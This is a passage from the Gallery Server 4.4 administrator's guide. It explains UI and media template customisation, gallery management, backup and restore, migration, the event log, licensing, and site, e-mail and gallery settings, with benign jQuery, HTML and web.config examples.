{{for Album.GalleryItems}}
<li>
Gallery Server 4.4 Administrator’s Guide Page 120 of 246
<a href='{{: ~getGalleryItemUrl(#data) }}'>{{:Title}} ({{getItemTypeDesc:ItemType}})</a>
</li>
{{/for}}
</ul>
This example shows a few interesting things:
for loop The template loops through each gallery item of the album. Inside the loop the data
context changes to that of the GalleryItem instance. For example, the {{:Title}} refers to the title of
the gallery item being iterated on.
getGalleryItemUrl The call to getGalleryItemUrl is a jsRender helper function defined in gallery.ts.
Helper functions are useful when you need some JavaScript to figure out how to render something,
like here to help calculate the URL to the album or media asset. You can define your own helper
function in the Gs.Utils.Init function of gallery.ts.
#data A reference to the currently scoped data instance is passed to getGalleryItemUrl. In this
example it is an instance of GalleryItem. You can refer to parent data items with the parent
keyword. For example, using {{:#parent.parent.data.Album.Title}} from inside the GalleryItems loop
gets the current album title by navigating up to the root data structure and then back down to the
current Album title.
jsRender converter The string {{getItemTypeDesc:ItemType}} says to run the ItemType property
through a jsRender converter named getItemTypeDesc. A converter takes a property as input and
alters it in some way. For example, you might want to do this to format a date/time value. The
converter in this example converts an integer to a description such as Image, Album, etc. It is
defined in gallery.ts and, as with helper functions, you can define you own.
Note: This example requires that the GalleryItems property of the Album is populated. We discussed
earlier that this property will have a value when viewing an album but is null when viewing an
individual media asset. To get this to work when a single media asset is visible, change GalleryItems to
MediaItems in the template.
Add an image preview when hovering over a thumbnail
When you hover over a thumbnail image, a larger version of the image appears in a popup that
disappears automatically when you move the cursor away:
Gallery Server 4.4 Administrator’s Guide Page 121 of 246
This example requires adding to both the HTML and JavaScript album UI template. Open the album UI
template and insert this HTML as the first line in the HTML tab:
<div id='pvw' style='display:none;'><img id='imgpvw' style='width:400px;'></div>
Then add this JavaScript to the end of the script in the JavaScript tab:
$('#pvw').dialog({
appendTo: $('.gsp_floatcontainer'),
autoOpen: false,
position: { my: "left top", at: "left center" }
});
$('.thmb[data-it=' + Gs.Enums.ItemType.Image + '] .gsp_thmb_img').hover(
function () {
$('#imgpvw').prop('src', this.src.replace('dt=1', 'dt=2'));
$('#pvw').dialog("option", "width", 425)
.dialog( "option", "position", { my: "left+30 top+20", at: "right bottom", of: $(this)} )
.dialog('open');
}
);
$('.gsp_floatcontainer', $('#{{:Settings.ClientId}}')).mouseleave(function() {
Gallery Server 4.4 Administrator’s Guide Page 122 of 246
$('#pvw').dialog('close');
});
It works by opening a jQuery UI dialog window on the hover event of the thumbnail image.
Add links in the treeview to custom tags
Enhance the left pane by adding some links to custom tags or people in your gallery:
This is easily accomplished by adding the following to the end of the HTML text for the left pane UI
template:
<p style='color:#B2D6A2;' class='gsp_addtopmargin5 gsp_addleftmargin4'>TAGS</p>
<div class='gsp_addleftmargin10'>
<p><a href='{{:App.CurrentPageUrl}}?tag=Party'>Party</a></p>
<p><a href='{{:App.CurrentPageUrl}}?tag=Vacation'>Vacation</a></p>
<p><a href='{{:App.CurrentPageUrl}}?tag=Family'>Family</a></p>
</div>
<p style='color:#B2D6A2;' class='gsp_addtopmargin5 gsp_addleftmargin4'>PEOPLE</p>
<div class='gsp_addleftmargin10'>
<p><a href='{{:App.CurrentPageUrl}}?people=Roger%20Martin%2bMargaret'>Roger & Margaret</a></p>
<p><a href='{{:App.CurrentPageUrl}}?people=Margaret'>Margaret</a></p>
<p><a href='{{:App.CurrentPageUrl}}?people=Skyler'>Skyler</a></p>
</div>
Gallery Server 4.4 Administrator’s Guide Page 123 of 246
When creating the hyperlink, notice spaces are encoded with %20 (e.g. Roger%20Martin). To create a
link for multiple tags, separate them with %2b (an encoded + sign). The gallery does not support searching
for both tags and people at the same time.
Media Templates
Overview
Rendering JPG images in a browser is straightforward because all browsers use the same syntax based
on the <img> HTML tag. But video, audio, and other file types have different levels of support in various
browsers and within different versions of the same browser. For example, some browsers can natively play
H.264 MP4 video while others require a plug-in such as Flash or Silverlight.
Gallery Server solves this problem with a set of media templates that can deliver the correct HTML and
JavaScript for individual browsers or even versions of browsers. A default set of templates are included that
will work well for most users, but some organizations may require different behavior. Or, when a new
browser version is released, its support for a particular media type may change, requiring a change in the
HTML syntax that is used.
The media templates page lets one manage the rendering behavior of different media types.
The above screen shot shows the media template used for the ‘default’ browser when rendering a
media file having MIME type video/mp4. Notice it specifies the HTML5 <video> tag. When MP4 videos are
viewed in most browsers, the HTML is based on this template, as seen here in Safari:
Gallery Server 4.4 Administrator’s Guide Page 124 of 246
The Browser ID dropdown allows one to view media templates for other browsers. For example, the
MP4 templates includes two additional templates to support IE 1-8 and Opera, which do not support the
HTML5 video tag:
Notice the HTML template for IE 1-8 and Opera are identical and consists of a hyperlink tag. This defines
the HTML for using FlowPlayer, which uses the Flash plug-in to render the video. FlowPlayer requires some
JavaScript to initialize it, which you can see when you click the JavaScript tab:
Gallery Server 4.4 Administrator’s Guide Page 125 of 246
When an MP4 video is viewed in IE 1-8 or Opera, it gets HTML and JavaScript based on the
corresponding template, as seen in this screen shot from Opera:
Gallery Server 4.4 Administrator’s Guide Page 126 of 246
Through the use of custom media templates for individual browsers, Gallery Server can provide targeted
behavior without requiring complicated HTML containing fallback code and other tricks.
Note: File extensions are mapped to MIME types on the File Types page on the Settings ribbon tab. See
the File Types section for more information.
Edit a media template
Let’s look at an example based on a scenario that might actually happen. The Chrome browser supports
H.264 MP4 videos using the HTML5 <video> tag, but Google has said that it will eventually drop native
Gallery Server 4.4 Administrator’s Guide Page 127 of 246
support for MP4. If that happens, your MP4 videos will suddenly stop playing in Chrome. The fix will be to
add a template that uses FlowPlayer for Flash in Chrome, just like it is currently specified for IE 1-8 and
Opera browsers. To make this change, follow these steps.
1. Navigate to the Media Templates page and select the video/mp4 MIME type from the dropdown
list.
2. Select the IE 1-8 template from the Browser ID dropdown. Click Copy as new.
3. Enter ‘chrome’ in the Browser ID text box. Click save.
4. That’s it. When you view an MP4 video in Chrome, it now uses FlowPlayer for Flash.
But there’s a gotcha in this scenario. What we’ve just done is specified that Flash is required for all
Chrome browsers. But Chrome also runs on Android, which doesn’t support Flash. Indeed, if you navigate to
one of these videos on an Android device, they stop working.
We anticipated this situation, so we programmed a custom browser ID named ‘chromeandroid’ into
Gallery Server that lets you target Chrome on Android separate from other Chrome installations. Hopefully,
Chrome on Android will continue to support MP4 with the <video> element, so what we need to do is add
another template targeting this browser.
1. Navigate to the Media Templates page and select the video/mp4 MIME type from the dropdown
list.
2. Select the default template from the Browser ID dropdown. Click Copy as new.
3. Enter ‘chromeandroid’ in the Browser ID text box. Click save.
Gallery Server 4.4 Administrator’s Guide Page 128 of 246
4. You’ve now restored HTML5 behavior in Chrome on Android devices while other Chrome browsers
still use the Flash plug-in. And you’ve made all these changes without affecting other browsers like
IE and Firefox.
Browser ID reference
Below is the list of valid browser IDs that were current when .NET 4.0 was released in 2010.
The browser IDs are hierarchical, which means you can use one ID to match a subset of browsers. For
example, entering the browser ID “Opera” will match all versions of Opera, while entering “Opera8to9” will
match only Opera 8-9.
Since the chart above was created, Microsoft has released several updates to its browser definition files.
These files can be found in %SystemRoot%\Microsoft.NET\Framework\{version}\Config\Browsers.
Gallery Server 4.4 Administrator’s Guide Page 129 of 246
Side Note: Chrome Android
The chart does not show one supported browser ID: ChromeAndroid. That is because it isn’t included in
the default .NET browser definition file. Instead, Gallery Server programmatically adds it to make it available
if needed.
Template replacement parameters reference
The following is a list of all replacement parameters supported in the HTML and script of media
templates.
Name
Description
{MimeType}
The MIME type of the media asset. The MIME type is determined
from the file extension of the media asset. The mapping
between MIME types and file extensions is on the File Types
page. Example values: "video/x-flv", "image/jpeg"
{MediaObjectUrl}
The URL to the media asset. Example value: "http://yoursite.com
/gs/handler/getmedia.ashx?moid=5&dt=2&g=1"
{MediaObjectAbsoluteUrlNoHandler}
An URL that points directly to the media asset and bypasses the
HTTP handler. Example value:
/gallery/videos/birthdayvideo.wmv. The handler provides
security checking and watermarking, so only use this parameter
when necessary. For example, perhaps a video plug-in does not
work unless the file is directly referenced.
IMPORTANT: This parameter requires that the media assets
directory be within the Gallery Server web application directory.
By default, media assets are stored in the /gs/mediaobjects
directory within the application, so this requirement is satisfied
unless you change it. If objects are stored outside the web
application directory, use the
{MediaObjectRelativeUrlNoHandler} parameter.
{MediaObjectRelativeUrlNoHandler}
Provides an URL that is relative to the media assets directory and
which points directly to the media asset. Example value:
/videos/birthdayvideo.wmv). This parameter bypasses the HTTP
handler that normally streams media assets to the browser. The
handler provides security checking and watermarking, so only
use this parameter when necessary. For example, perhaps a
video plug-in does not work unless the file is directly referenced.
Typically this parameter is used instead of
{MediaObjectAbsoluteUrlNoHandler} when the media assets
directory is outside of the web application. The user must first
Gallery Server 4.4 Administrator’s Guide Page 130 of 246
configure the media assets directory as a virtual directory in IIS.
Then the path to this virtual directory must be manually entered
into one or more HTML templates in galleryserverpro.config, so
that it prepends the relative url returned from this method.
Example: If the media assets directory has been set to D:\media
and a virtual directory named gallery has been configured in IIS
that is accessible via http://yoursite.com/gallery, then the HTML
template might look like this:
<a
href=”http://yoursite.com/gallery{MediaObjectRelativeUrlNoHa
ndler”>Click to open</a>
{Width}
The width, in pixels, of the media asset. Example value: 640, 480
{Height}
The height, in pixels, of the media asset. Example value: 640, 480
{Title}
The title of the media asset. May include HTML tags. Example
value: “Kayla sledding down the <a
href="http://www.bighill.com">hill</a>
{TitleNoHtml}
The title of the media asset with HTML tags removed and
apostrophes and quotation marks are replaced with &quot; and
&apos;. Example value: "Kayla sledding down the hill"
{AutoStartMediaObjectText}
Returns the text "true" or "false" based on the value of the auto-
start setting on the Video & Audio Settings page.
{AutoStartMediaObjectInt}
Returns the text "1" or "0" based on the value of the auto-start
setting on the Video & Audio page. A true value is translated as
“1”; a false value is “0”.
{AutoPlay}
Returns the text "autoplay" or an empty string based on the
value of the auto-start setting on the Video & Audio Settings
page.
{GalleryPath}
The path, relative to the web site root, to the directory
containing the Gallery Server files. Example: If Gallery Server is
installed at C:\inetpub\wwwroot\dev\gallery, where
C:\inetpub\wwwroot\ is the parent web site, and the gallery files
are in the gs directory, this property returns /dev/gallery/gs.
Used when referring to resources such as the .xaml skins for the
Silverlight media player.
Gallery Server 4.4 Administrator’s Guide Page 131 of 246
{HostUrl}
The URI scheme, DNS host name or IP address, and port number
for the current application. Examples: http://www.site.com,
http://localhost, http://127.0.0.1, http://godzilla
{UniqueId}
A string about twelve characters long that can be used to
uniquely identify an HTML element intended to be referenced
later by JavaScript. Ex: gsp_1c135176ed. For an example of how
this is used, refer to the IE1to8 template for the video/mp4
MIME type.
Gallery Manager
The Gallery Manager page allows you to manage the galleries in the application. A single gallery is
created when Gallery Server is installed. Refer to the section Working with Galleries to learn more about
them.
Above is a screen shot of the Gallery Manager page. It shows two galleries in the application and
indicates that the current web page is pointing to the Marketing gallery.
Note: Be aware that only those galleries you have permission to administer are shown. Site
administrators always have permission to all galleries, but gallery administrators will only see those
galleries they have permission to administer.
Gallery Server 4.4 Administrator’s Guide Page 132 of 246
Switching galleries
Recall that each instance of the Gallery Server user control on a web page points to a single gallery at a
time. A default installation of Gallery Server includes one web page named default.aspx that points to a
single gallery that is created during installation.
If you wish, you can configure the current web page to point to a different gallery by selecting the
desired gallery and then choosing Switch to selected gallery. After making the switch, view the items in the
gallery by browsing the gallery in the normal manner (click ‘All albums’, click the gallery title, etc.)
The typical scenario for switching galleries is when you add a new web page and gallery and then want
to point the web page to the new gallery. A demonstration of this example is in the section How-To: Set up
multiple galleries.
Creating, editing, and deleting galleries
Create a new gallery on the Gallery Manager page by entering a name and choosing Create gallery.
Important! After creating a gallery, it is highly recommended you immediately update the media assets
storage directory to a new location, since by default it has an initial value of \gs\mediaobjects\, which
may be used by another gallery. Do this on the Media Settings page.
Edit the name of a gallery by choosing the Edit button. Note that all you can edit is the name. To modify
settings for a gallery, see the next section.
Delete a gallery by clicking the Delete button. This action will delete all database records associated with
the gallery, but it will not delete the media files. To delete the media files, use a tool like File Explorer to
manually delete them.
Modifying settings for a gallery
Many of the pages on the ADMIN and SETTINGS ribbon tab expose settings for a gallery. (Some are
application wide and one Gallery Control Settings expose settings for the Gallery user control on the web
page.)
To modify a setting for a gallery, first make sure the gallery is configured as the current gallery on the
Gallery Manager page. Then navigate to the relevant settings page and update the setting.
When dealing with multiple galleries, get into the habit of verifying the “applies to” section at the top
right of administration pages to ensure you are updating the correct gallery.
Gallery Server 4.4 Administrator’s Guide Page 133 of 246
CSS Override
Override the default styling with the CSS Override page. For example, you may wish to override the
default fonts, colors, padding, or other styling. The styles you enter on this page are stored in the
database and are preserved during upgrades. They are sent to the browser in the <head> section, just
after the other CSS files.
For example, the following CSS will increase the size of the gallery title shown in the top left corner of
every page:
Gallery Server 4.4 Administrator’s Guide Page 134 of 246
If you want to make extensive styling changes, it may be better to create a new skin. See the section
Create or modify a skin.
Backup and Restore Data
Gallery Server stores data in two locations:
The media files are stored in a physical directory on the web server’s hard drive or a UNC-
accessible location.
Information about media assets and albums are stored in a SQL Server or SQL CE database.
Backing up, moving, copying, or restoring Gallery Server data requires moving or copying both sets of
data. The backup function built in to Gallery Server exports all gallery data to an XML file, and the restore
function replaces existing data with the data from the XML file.
Note: The backup / restore function backs up and restores only the gallery data, not the media files.
There are several techniques for implementing a backup strategy, several of which do not even use the
built-in backup / restore function. See the next section for more information about performing regular
backups.
Gallery Server 4.4 Administrator’s Guide Page 135 of 246
Backup strategy
A regular backup is a normal part of every computer user's life. Which method you use, and how often,
is up to you. Hopefully you don't learn the hard way your strategy is inadequate.
Backing up your gallery data involves these sets of data:
The media files
The data in the database.
web.config configuration file
Backing up the media files
The media files are stored on your server's hard drive and can be backed up the same way you back up
any files. You can discover the location where the media files are stored by referring to the setting Path to
original file directory on the Media Settings page. In the example below, the media files are stored at
C:\WebSites\gallery\gs\mediaobjects.
Backing up the data
SQL Server: For SQL Server databases, there are a number of ways to back up the data:
Use the backup functionality built in to SQL Server.
Use the backup function built in to Gallery Server to export data to an XML file. See below for more
information.
Use a third party backup program that knows how to back up SQL Server databases.
SQL CE: If you are using SQL CE, backup your data with one of these techniques:
Use the backup function built in to Gallery Server to export data to an XML file.
Copy the data file App_Data\GalleryData.sdf to your backup location, either manually or through an
automated script.
Gallery Server 4.4 Administrator’s Guide Page 136 of 246
Backing up the web.config configuration file
The web.config file, stored in the root of your Gallery Server web application, stores information specific
to your application. If desired, back up this file using the same technique you use for your media files,
whether it is a third party program, manually copying, or an automated script.
Using the built-in backup function to create a backup file
The database stores information about your media assets, such as title, extracted metadata, file names,
etc. To export this data to an XML file, follow these steps.
1. Log on to Gallery Server with an account that has Administer Site permission.
2. Click the Backup & Restore button on the Admin ribbon tab. The following screen appears:
3. To include login accounts in the file, make sure the Export user accounts option is selected.
Note: Selecting Export user accounts includes the users, roles, and applications stored in the
membership tables. When selected, ALL membership data is exported. If you are using these tables to
manage membership for other applications, be aware that the data for these other applications are
also included in the backup file.
4. To include the gallery data, make sure the Export media asset and album data option is selected.
5. Click Create and download backup file. A file is created and downloaded to your browser.
Gallery Server 4.4 Administrator’s Guide Page 137 of 246
Note: Remember that the backup file does not include the media files. It includes information about
the media assets, such as titles, captions, and extracted metadata.
Note: Be aware that the backup file may contain passwords in clear text format.
Using the built-in restore function
Use the restore function to replace all data in your Gallery Server database with the data in the backup
file. Remember that the backup file does not include the media files. Restore these files separately by
copying them from your backup device to your media assets directory. (You can do this either before or
after the restore.)
SQL Server users: The restore function uses a very efficient algorithm for importing large amounts of
data very quickly (equivalent to the bcp utility), but this technique requires SQL permissions equivalent to
that provided in the db_ddladmin or db_owner roles. You may have to temporarily modify the connection
string in web.config to specify a user with elevated permissions. After the restoration is complete, you can
revert to the original permissions.
Note: Restoring data replaces the existing data. This action cannot be undone!
To restore the gallery data from an XML file created with the backup function, follow these steps:
1. Log on to Gallery Server with an account that has Administer Site permission.
2. Click the Backup & Restore button on the Admin ribbon tab.
3. Click the Restore tab. Use the Browse button to select the backup file. Click Upload. The file will be
verified and the web page will display the number of records in each of the tables in the backup file.
Gallery Server 4.4 Administrator’s Guide Page 138 of 246
Gallery Server 4.4 Administrator’s Guide Page 139 of 246
4. To import login accounts, make sure the Import user accounts option is selected.
5. To import the gallery data, make sure the Import media assets and albums option is selected.
6. Click Restore data. When the restore process is finished, a message will confirm that the restoration
is complete.
Note: Your current login account may no longer be valid since it was deleted during the restore. You
must log in using an account that was in the backup file.
Migrate Gallery Server to a new location
Follow these directions for transferring an existing installation of Gallery Server to another web
application. The new web application may be on the same server or a new server.
1. Copy the web application files to the destination.
2. Use Internet Information Services (IIS) Manager to configure the new directory as a web application
running under ASP.NET 4.5 or higher.
Note: If you encounter an error about permissions, use Windows Explorer to give the user account IIS
is running under modify permission to the web directory (ex: C:\inetpub\wwwroot\galleryserverpro).
Refer to the section Configuring NTFS Permissions in Microsoft Windows for more information.
3. If necessary, move your media files to the new location.
4. If you are using SQL CE, then you already copied the gallery data, since it is in the file
App_Data\GalleryData.sdf. Skip the following step.
5. (SQL Server only) If you are using SQL Server and you need to migrate the data to another instance
of SQL Server, you have a few options:
Use the tool built in to SQL Server to backup and restore the database. Refer to your SQL Server
documentation for more information.
Use the backup function in Gallery Server to back up the data to an XML file, then use the
restore function at the destination gallery. Refer to the relevant section in this guide for creating
a backup file and restoring it.
6. If necessary, update the SQL Server connection string in web.config.
7. Use your web browser to navigate to your new gallery. If the media files are stored in a new
location, you may need to tell Gallery Server where the files are. This is on the Media Settings page.
Event Log
Gallery Server stores a log of events and unexpected errors. These items can be accessed on the Event
Log page:
Gallery Server 4.4 Administrator’s Guide Page 140 of 246
View detailed information about each error by clicking the expand icon at the beginning of the row.
When trying to discover the cause of an error, consider these tips:
Read the message carefully. Sometimes a solution is provided within the message.
Use the Gallery Server forum or a search engine to search for your error message. Chances are
pretty good that someone has experienced the same error.
Consider whether it is negatively affecting your gallery. For example, a malicious robot might be
sending malformed data to the gallery, triggering an error. Study the details to discover whether the
source was a real user or a robot. The HTTP User Agent string is helpful here.
If you cannot discover the cause of an error message, feel free to post a question on the forum.
Please include ALL the detailed information in the log, but use care not to post sensitive
information. For example, an error that occurs while logging in may contain your password in the
details.
Site Settings
This page is for application-wide settings. It is accessible only to site administrators.
Gallery Server 4.4 Administrator’s Guide Page 141 of 246
Gallery Server 4.4 Administrator’s Guide Page 142 of 246
License
Overview
Gallery Server is fully functional for the first 30 days. During this trial, it contains all the features of the
Gallery Server Enterprise edition. When the trial expires, a watermark appears on each image and the site
admin area becomes read-only.
Convert the trial version to any of the editions by copying a file named version_key.txt into the
App_Data directory and entering license information in the site admin area. This information is provided to
you after completing your purchase at https://galleryserverpro.com. Below are detailed steps describing this
process.
You are allowed a limited number of activations with your license key. To install Gallery Server on
another server, first deactivate the key on the old installation. If you are using Gallery Server in a staging
environment in addition to a production environment, you can use the same key to activate both instances.
Version key vs license key
When you purchase any version of Gallery Server, including the free version, you are given a license key,
a license e-mail address, and a version key file named version_key.txt.
The license key is a string beginning with “GS-“. It is assigned during your purchase and never changes,
even when new updates are released. This key, along with the e-mail address used during the purchase, tells
Gallery Server 4.4 Administrator’s Guide Page 143 of 246
the licensing server you are an authorized owner of a Gallery Server product. But it has nothing to do with
which version you have access to.
That’s where the version key comes in. The version key changes with each release but it is not tied to a
particular user. When an update is released, a new version key file is generated and included in the upgrade
package.
The combination of license key and version key authorizes a particular Gallery Server product and
version to a particular buyer. Once the initial activation is performed, you shouldn’t have to worry about
them again.
Activating a license
1. Purchase a license from galleryserverpro.com.
2. Go to your Downloads page and download the version_key.txt file.
3. Copy version_key.txt to the App_Data directory of the gallery web application.
Gallery Server 4.4 Administrator’s Guide Page 144 of 246
4. In your gallery, click the Site Settings button on the Settings ribbon tab.
5. Enter the license e-mail and license key, then click Save changes. The license will be activated and
functionality appropriate to the purchased version is enabled.
Note: If you get a message saying Invalid License Key, verify that you are entering the license key into
the Site Settings page. It’s a string that starts with “GS-“. Some folks accidentally enter the version key.
The version key is in a file named version_key.txt and should be placed in the App_Data directory.
Deactivating a license
Your license comes with a limited number of activations. Be sure to deactivate any unused instances of
Gallery Server so that you don’t reach your activation limit.
Deactivate a license by clicking the Deactivate link on the Site Settings page.
Application settings
The table below describes the application setting properties.
Gallery Server 4.4 Administrator’s Guide Page 145 of 246
Enable caching
When enabled, caching is used to reduce the need to query information from the
database, substantially improving performance.
Caching may need to be disabled when this application is deployed on a web farm.
Allow gallery
admins to manage
users and roles
Gallery administrators are allowed to add, edit, and delete users and roles. Disable
this option to prevent a gallery admin from modifying users and roles. This option
does not affect site admins, who always have access to all functionality. See section
Users and roles in galleries for more information.
Allow gallery
admins to see
users/roles that do
not have access to
current gallery
Gallery administrators are allowed to see lists of users and roles that exist but do
not have access to any gallery the gallery admin can administer. When this option
is disabled, only users and roles that have access to a gallery the gallery admin can
administer are made visible. This option does not affect site admins, who always
have access to all functionality. See section Users and roles in galleries for more
information.
Remove oldest
items from event
log when
maximum size is
reached
When enabled, Gallery Server will limit the size of the event log to the number of
events specified here. When the maximum size is reached, the oldest events are
deleted to make room for the new ones. Use this feature to keep a rolling history
of events.
Skin
The name of the skin to use for the gallery. See Skinning the gallery for more info.
jQuery path
The path to the jQuery script file. The path may be:
Relative to the root of the web application. Ex: "~/Scripts/jquery-2.2.3.min.js"
A full URL. Ex: "//code.jquery.com/jquery-2.2.3.min.js"
If the web application already uses jQuery and is adding the jQuery script reference
through another mechanism, specify a blank string for this setting.
jQuery Migrate
path
The path to the jQuery Migrate script file. This file is necessary when using jQuery
1.9 and higher because some plug-ins use APIs or features that were deprecated in
newer versions.
The same rules as the jQuery path apply.
jQuery UI path
Specifies the path to the jQuery UI script file. The same rules as the jQuery path
apply.
ImageMagick path
The path to the directory containing the ImageMagick convert.exe application.
More information is included in the tooltip on the page.
Gallery Server 4.4 Administrator’s Guide Page 146 of 246
E-mail settings
SMTP server
Specify the IP address or name of the SMTP server used to send emails (e.g.
127.0.0.1, Godzilla, mail.yourisp.com).
If you wish to use the SMTP server specified in web.config, (either explicitly
assigned in this web application or inherited from a parent application) you
may leave this field blank. Gallery Server will automatically use the value
specified in the system.net mailSettings section if no value is specified here.
SMTP server port
Specify the port number to use when sending SMTP mail. This setting is useful
when the web server is behind a proxy.
If you wish to use the SMTP port specified in web.config (either explicitly
assigned in this web application or inherited from a parent application), you
may leave this field blank. Gallery Server will automatically use the value
specified in the system.net mailSettings section if no value is specified here.
If not specified, and if no value is defined (nor inherited) in web.config, the
default port 25 is used.
Use SSL
Select this option to send e-mail using Secure Sockets Layer (SSL) encryption.
For example, the Gmail SMTP server requires SSL.
Name and address
to show emails as
coming from
Emails sent from Gallery Server (error reports and password change
notifications) will appear to be sent from this person at this email address.
Specifying authentication details
If your e-mail provider requires authentication, you can specify a username and password in web.config.
Open web.config, located in the web application root, and look for this section:
<!--
<system.net>
<mailSettings>
<smtp>
<network
host="relayServerHostname" port="portNumber"
userName="username" password="password" />
</smtp>
</mailSettings>
</system.net>
-->
Uncomment the section by moving the --> to just before the <system.net> element. Then update the
host, port, userName, and password attributes to the correct values. When you are done, it will look
something like this:
Gallery Server 4.4 Administrator’s Guide Page 147 of 246
<!-- -->
<system.net>
<mailSettings>
<smtp>
<network
host="localhost" port="25"
userName="Administrator" password="admin_password" />
</smtp>
</mailSettings>
</system.net>
Note: This blog post may be helpful: Use Gmail as your SMTP Server
Note: When you enable this section in web.config, the SMTP server and port on the Site Settings - E-
mail page are ignored, so you must specify the server (i.e. the host attribute) and port in web.config.
Application information
This section displays a few basic properties of the application:
Trust level Hopefully the application is running in full trust, as this mode allows all the features to be
used. Some hosting providers force applications to run at a lower trust level.
.NET Framework version Displays the .NET Framework version for the current application pool. Note
that this will display 4.0 even when 4.5 or 4.5.1 is installed.
IIS app pool identity The identity of the IIS application pool.
FFmpeg.exe found? Indicates whether the utility FFmpeg.exe was found in the application’s bin
directory. When present and the application is running under full trust, Gallery Server is able to encode
video and audio and generate thumbnails for video files.
NOTE: FFmpeg, ImageMagick, and GhostScript are open source programs that are installed separately.
As a convenience, they have been bundled into a single ZIP file called the Gallery Server Binary Pack.
Gallery Server 4.4 Administrator’s Guide Page 148 of 246
Data providers
This section provides read-only information about how the ASP.NET data providers are configured in
web.config. Click the information icon next to each provider to learn more about it.
Gallery Settings
The Gallery Settings page exposes several settings that apply to the current gallery.
Notice that, in the screen shot above, a message at the top indicates “This page applies to: Gallery
‘Marketing’”. Many of the site administration pages have a similar message at the top to indicate the scope
of the settings on the current page.
Gallery Server 4.4 Administrator’s Guide Page 149 of 246
Header options
Show header*
When checked, the header area of the gallery is displayed. The header
includes the gallery title, various links at the top right, and the ribbon toolbar.
Gallery title*
The header text that appears at the top of the gallery. This can be blank.
Gallery title URL*
The URL the user will be directed to when they click the header text. This
setting is optional if not present, no link will be rendered. This setting is
ignored if the Gallery title field is empty.
Show login/logout
buttons*
When checked, controls related to user account management are shown in the
top right corner of every page. These include the user name, login/logout
button, and the link to the user's account page (if the option to allow users to
manage their own accounts is enabled on the User Settings page).
You may want to disable this feature when the audience is primarily
anonymous web users without user accounts or when you provide your own
authentication system. Administrators can always log in by navigating directly
to the login page (use the query string g=login; ex: default.aspx?g=login).
Show search link*
Indicates whether to display the search link in the top right corner of every
page.
* Indicates a setting that can be overridden on the Gallery Control Settings page
Error management
Email detailed
reports when web
site error occurs
When checked, the users specified below are sent a detailed report when a
web site error occurs. The e-mail settings must be configured.
Users to notify
Specifies the administrators to receive the e-mailed error report.
Enable error
handling
Select this option to use Gallery Server's own error handling routine to deal
with all unexpected errors. Disable this option if you have an application-
level error handler defined in web.config or global.asax you want to use for